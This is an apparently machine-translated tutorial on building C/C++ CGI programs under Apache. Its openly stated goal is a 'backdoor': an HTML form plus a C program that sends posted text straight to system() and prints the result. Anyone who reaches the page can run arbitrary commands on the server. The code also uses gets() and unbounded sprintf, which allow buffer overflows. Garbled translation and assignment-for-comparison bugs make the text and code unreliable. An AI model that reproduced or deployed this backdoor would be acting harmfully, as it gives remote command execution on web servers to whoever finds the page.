C/c ++ ---- websites and Their backdoors (CGI applications), ---- cgi
C/C ++ has learned how to build a CGI program!
First, let's take a look at what is CGI: CGI stands for "Common Gateway Interface ), a tool used by the HTTP server to "talk" with programs on your or other machines. The program must run on the network server. ---- From Baidu encyclopedia
1. First of all, we need Apache server2.0 (to learn the web, you must know this, Xi). After the software is installed, there may be many problems that may not be opened. After meow, I used to work for half a day, but finally, I got it done!
(1). In fact, there are two main situations I have encountered. The first one is to disable IIS to save the boot time, or some chivalrous people directly uninstall it! So it cannot be opened!
In the face of this problem, the next one will be ready! Apache server2.0 requires IIS cooperation.
(2). The second is that port 80 is occupied, which is one of the most common scenarios. There are many solutions, but I prefer this.
Cmd -- "net-ano ---> check the PID that occupies port 80 (usually a browser or something) and close it in process management!
After the above Apache server is running, enter localhost in the browser and
Then modify an http. cof file.
Find two locations:
Position 1: # AddHandler cgi-script. cgi: remove the annotator before this statement.
Location 2:
<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None ----- replace this location with: Options Indexes ExecCGI
Order allow, deny
Allow from all
</Directory>
After these two locations are configured. You can use C/C ++ for programming!
Step 1: compile a file like this
1 # include <stdio. h>
2 int main (int args, char * argv []) {
3
4 printf ("Content-type: text/html \ n ");
5 printf ("hello world! I'm cgi ");
6 getchar ();
7 return 0;
8}
Compile and generate such a hello.exefile. After the file is generated, change the property of hell.exe to hello. cgi.
Then place it under the cgi-binfile in the Self-installed Apache server2.0 file.
In the browser, enter localhost/cgi-bin/hello. cgi to see the screen.
2. If we talk so much about it, we should use c/c ++ to write a cgi for the background and operate the data behind it!
First of all, we need to write an html and make it web. Of course, this is easy! To save time, write a simple html !!
1
2
3 <title> background </title>
4
5
6 <body>
7
8 <form action = "http: // localhost/cgi-bin/gxjun. cgi" method = "post" id = CGI>
9
10. Enter the command cmd: <input type = "text" name = "textlist"/> <br>
11 <input type = "submit"/> <br>
12 </form>
13
14 <body>
15
Of course, when we are working on web, this can be embedded in our project! Where did you put this jsp!
The last step is the focus! Just like the cgi I wrote above! Write the following code:
1 # define _ CRT_SECURE_NO_WARNINGS
2 # include <stdio. h>
3 # include <stdlib. h>
4 // # include <stdexcept>
5 # include <windows. h>
6
7 // example of Calling System
8 void func (char ps []) {
9 // ps is the cmd command
10 char * pl = strchr (ps, '='); // pl points to the current position
11 if (pl! = NULL) ps = ps + (pl-ps + 1 );
12 printf ("command cmd = % s \ n", ps );
13 char cmd [256] = {'\ 0 '};
14 char filename [] = "Gxjun.txt"; // tentatively placed in the current directory.
15 sprintf (cmd, "% s> % s", ps, filename); // write ps content to cmd
16 // generates an instruction
17 // if the execution is successful, a gxjun.txt file will be generated.
18 FILE * fp = NULL;
19 int tag = system (cmd );
20 if (tag = 1 ){
21 printf ("Command Format Error !, Enter again :");
22 goto loop;
23}
24 if (fp = fopen (filename, "r") = NULL ){
25 printf ("no file found! ");
26 goto loop;
27}
28
29 while (! Feof (fp )){
30 char str = fgetc (fp );
31 if (str = '\ n') printf ("<br> \ n ");
32 else if (str = '') printf ("");
33 else
34 printf ("% c", str );
35}
36
37 loop:
38 if (fp! = NULL ){
39 fclose (fp );
40 // Delete the backup file
41 system ("del Gxjun.txt ");
42}
43 return;
44}
45
46
47 int main (int args, char * argv []) {
48
49 printf ("Content-type: text/html \ n ");
50 // print Environment Variables
51 printf ("% s <br>", getenv ("QUERY_STRING "));
52 char szPost [256] = {'\ 0 '};
53 gets (szPost); // get the input
54 if (strlen (szPost) <1)
55 strcpy (szPost, "ipconfig ");
56 func (szPost );
57 getchar ();
58 return 0;
59}